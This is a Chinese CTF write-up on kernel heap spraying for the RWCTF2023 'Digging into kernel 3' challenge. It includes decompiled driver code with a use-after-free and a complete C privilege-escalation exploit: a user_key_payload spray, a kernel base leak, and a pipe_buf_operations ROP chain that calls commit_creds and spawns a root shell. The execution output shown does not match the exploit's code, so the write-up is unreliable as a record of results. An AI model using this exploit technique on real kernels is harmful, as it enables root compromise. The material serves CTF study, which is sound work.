概念

堆喷射指的是通过分配大量相同的结构体来达成某种特定的内存布局

RWCTF2023 体验赛 - Digging into kernel 3

1.查看启动脚本

很明显,开启了smep,smap,kaslr,kpti

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/sh

qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel ./bzImage \
-initrd ./rootfs.img \
-enable-kvm \
-cpu kvm64,+smap,+smep \
-monitor /dev/null \
-append 'console=ttyS0 kaslr kpti=1 quiet oops=panic panic=1 init=/init' \
-no-reboot \
-snapshot \
-s

加载进入内核模式,ls一下,发现有个rwctf.ko,漏洞模块找到了

2.IDA分析

就只有这一个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
__int64 __fastcall rwmod_ioctl(__int64 a1, int a2, __int64 a3)
{
__int64 v3; // r12
__int64 v5; // rbx
__int64 v6; // rdi
unsigned int v7; // [rsp+0h] [rbp-30h] BYREF
unsigned int v8; // [rsp+4h] [rbp-2Ch]
__int64 v9; // [rsp+8h] [rbp-28h]
unsigned __int64 v10; // [rsp+18h] [rbp-18h]

v10 = __readgsqword(0x28u);
if ( !a3 )
return -1;
if ( a2 == -1059140866 )
{
if ( !copy_from_user(&v7, a3, 16) && v7 <= 1 )
kfree(buf[v7]);
return 0;
}
v3 = -1;
if ( a2 == -559038737 )
{
if ( copy_from_user(&v7, a3, 16) )
return 0;
v5 = v7;
if ( v7 > 1 )
return 0;
buf[v5] = _kmalloc(v8, 3520);
v6 = buf[v7];
if ( !v6 )
return 0;
if ( v8 > 0x7FFFFFFFuLL )
BUG();
if ( copy_from_user(v6, v9, v8) )
return 0;
}
return v3;
}

分析一下,首先是输入的a3不为0,然后是当a2为这个值,会从a3中获取16个字节到v7并检查索引范围,然后释放;存在UAF

然后第二个功能就是申请功能,先获取索引给v7,然后申请v8大小的地址,然后是将内容给v9并写入申请的内存,可以实现任意大小写,但只能有两个object

3.提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>
#include <stdint.h>

/**
* Utilities
*/

size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;

void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}

/* root checker and shell poper */
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}

puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

system("/bin/sh");

/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);

puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

/**
* Syscall keyctl() operator
*/

#define KEY_SPEC_PROCESS_KEYRING -2 /* - key ID for process-specific keyring */
#define KEYCTL_UPDATE 2 /* update a key */
#define KEYCTL_REVOKE 3 /* revoke a key */
#define KEYCTL_UNLINK 9 /* unlink a key from a keyring */
#define KEYCTL_READ 11 /* read a key or keyring's contents */

int key_alloc(char *description, void *payload, size_t plen)
{
return syscall(__NR_add_key, "user", description, payload, plen,
KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, void *payload, size_t plen)
{
return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, void *buffer, size_t buflen)
{
return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

/**
* Challenge interactiver
*/

/* kmalloc-192 has only 21 objects on a slub, we don't need to spray to many */
#define KEY_SPRAY_NUM 40

#define PIPE_INODE_INFO_SZ 192
#define PIPE_BUFFER_SZ 1024

#define USER_FREE_PAYLOAD_RCU 0xffffffff813d8210
#define PREPARE_KERNEL_CRED 0xffffffff81096110
#define COMMIT_CREDS 0xffffffff81095c30
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81e00ed0

#define PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250c9d
#define POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250ca4
#define POP_RDI_RET 0xffffffff8106ab4d
#define XCHG_RDI_RAX_DEC_STH_RET 0xffffffff81adfc70

int dev_fd;

struct node {
uint32_t idx;
uint32_t size;
void *buf;
};

/**
* @brief allocate an object bby kmalloc(size, __GFP_ZERO | GFP_KERNEL )
* __GFP_RECLAIM = __GFP_KSWAPD_RECLAIM | __GFP_DIRECT_RECLAIM
* GFP_KERNEL = __GFP_RECLAIM | __GFP_IO | __GFP_FS
*
* @param idx
* @param size
* @param buf
*/
void alloc(uint32_t idx, uint32_t size, void *buf)
{
struct node n = {
.idx = idx,
.size = size,
.buf = buf,
};

ioctl(dev_fd, 0xDEADBEEF, &n);
}

void del(uint32_t idx)
{
struct node n = {
.idx = idx,
};

ioctl(dev_fd, 0xC0DECAFE, &n);
}

/**
* Exploit stage
*/

int main(int argc, char **argv, char **envp)
{
size_t *buf, pipe_buffer_addr;
int key_id[KEY_SPRAY_NUM], victim_key_idx = -1, pipe_key_id;
char desciption[0x100];
int pipe_fd[2];
int retval;

/* fundamental works */
bind_core(0);
save_status();

buf = malloc(sizeof(size_t) * 0x4000);

dev_fd = open("/dev/rwctf", O_RDONLY);
if (dev_fd < 0) {
err_exit("FAILED to open the /dev/rwctf file!");
}

/* construct UAF on user_key_payload */
puts("[*] construct UAF obj and spray keys...");
alloc(0, PIPE_INODE_INFO_SZ, buf);
del(0);

for (int i = 0; i < KEY_SPRAY_NUM; i++) {
snprintf(desciption, 0x100, "%s%d", "arttnba", i);
key_id[i] = key_alloc(desciption, buf, PIPE_INODE_INFO_SZ - 0x18);
if (key_id[i] < 0) {
printf("[x] failed to alloc %d key!\n", i);
err_exit("FAILED to add_key()!");
}
}

del(0);

/* corrupt user_key_payload's header */
puts("[*] corrupting user_key_payload...");

buf[0] = 0;
buf[1] = 0;
buf[2] = 0x2000;

for (int i = 0; i < (KEY_SPRAY_NUM * 2); i++) {
alloc(0, PIPE_INODE_INFO_SZ, buf);
}

/* check for oob-read and leak kernel base */
puts("[*] try to make an OOB-read...");

for (int i = 0; i < KEY_SPRAY_NUM; i++) {
if (key_read(key_id[i], buf, 0x4000) > PIPE_INODE_INFO_SZ) {
printf("[+] found victim key at idx: %d\n", i);
victim_key_idx = i;
} else {
key_revoke(key_id[i]);
}
}

if (victim_key_idx == -1) {
err_exit("FAILED at corrupt user_key_payload!");
}

kernel_offset = -1;
for (int i = 0; i < 0x2000 / 8; i++) {
if (buf[i] > kernel_base && (buf[i] & 0xfff) == 0x210) {
kernel_offset = buf[i] - USER_FREE_PAYLOAD_RCU;
kernel_base += kernel_offset;
break;
}
}

if (kernel_offset == -1) {
err_exit("FAILED to leak kernel addr!");
}

printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%lx\n", kernel_offset);
printf("\033[32m\033[1m[+] Kernel base: \033[0m0x%lx\n", kernel_base);

/* construct UAF on pipe_inode_buffer to leak pipe_buffer's addr */
puts("[*] construct UAF on pipe_inode_info...");

/* 0->1->..., the 1 will be the payload object */
alloc(0, PIPE_INODE_INFO_SZ, buf);
alloc(1, PIPE_INODE_INFO_SZ, buf);
del(1);
del(0);

pipe_key_id = key_alloc("arttnba3pipe", buf, PIPE_INODE_INFO_SZ - 0x18);
del(1);

/* this object is for the pipe buffer */
alloc(0, PIPE_BUFFER_SZ, buf);
del(0);

pipe(pipe_fd);

/* note that the user_key_payload->datalen is 0xFFFF now */
retval = key_read(pipe_key_id, buf, 0xffff);
pipe_buffer_addr = buf[16]; /* pipe_inode_info->bufs */
printf("\033[32m\033[1m[+] Got pipe_buffer: \033[0m0x%lx\n",
pipe_buffer_addr);

/* construct fake pipe_buf_operations */
memset(buf, 'A', sizeof(buf));

buf[0] = *(size_t*) "arttnba3";
buf[1] = *(size_t*) "arttnba3";
buf[2] = pipe_buffer_addr + 0x18; /* pipe_buffer->ops */
/* after release(), we got back here */
buf[3] = kernel_offset + POP_RBX_POP_RBP_POP_R12_RET;
/* pipe_buf_operations->release */
buf[4] = kernel_offset + PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET;
buf[5] = *(size_t*) "arttnba3";
buf[6] = *(size_t*) "arttnba3";
buf[7] = kernel_offset + POP_RDI_RET;
buf[8] = (size_t) NULL;
buf[9] = kernel_offset + PREPARE_KERNEL_CRED;
buf[10] = kernel_offset + XCHG_RDI_RAX_DEC_STH_RET;
buf[11] = kernel_offset + COMMIT_CREDS;
buf[12] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x31;
buf[13] = *(size_t*) "arttnba3";
buf[14] = *(size_t*) "arttnba3";
buf[15] = (size_t) get_root_shell;
buf[16] = user_cs;
buf[17] = user_rflags;
buf[18] = user_sp + 8; /* system() wants it : ( */
buf[19] = user_ss;

del(0);
alloc(0, PIPE_BUFFER_SZ, buf);

/* trigger pipe_buf_operations->release */
puts("[*] trigerring pipe_buf_operations->release()...");

close(pipe_fd[1]);
close(pipe_fd[0]);

return 0;
}

4.执行

可以看到得到了flag了

1
2
3
4
5
6
7
8
9
10
11
12
13
/ $ ls
bin dev flag linuxrc root sbin tmp
core.cpio exp init proc rwctf.ko sys usr
/ $ id
uid=1000 gid=1000 groups=1000
/ $ ./exp
[-] read data: 0xf000ff53f000ff53
[+] Found page_offset_base: 0xffff902800000000
[*] Get secondary_startup_64: 0xffffffff90600060
[+] kernel_base: 0xffffffff90600000
[+] kernel_offset: 0xf600000
[+] Found flag at addr: 0xffff9028070f7000
[+] flag: rwctf{test}

参考: Heap Spray - CTF Wiki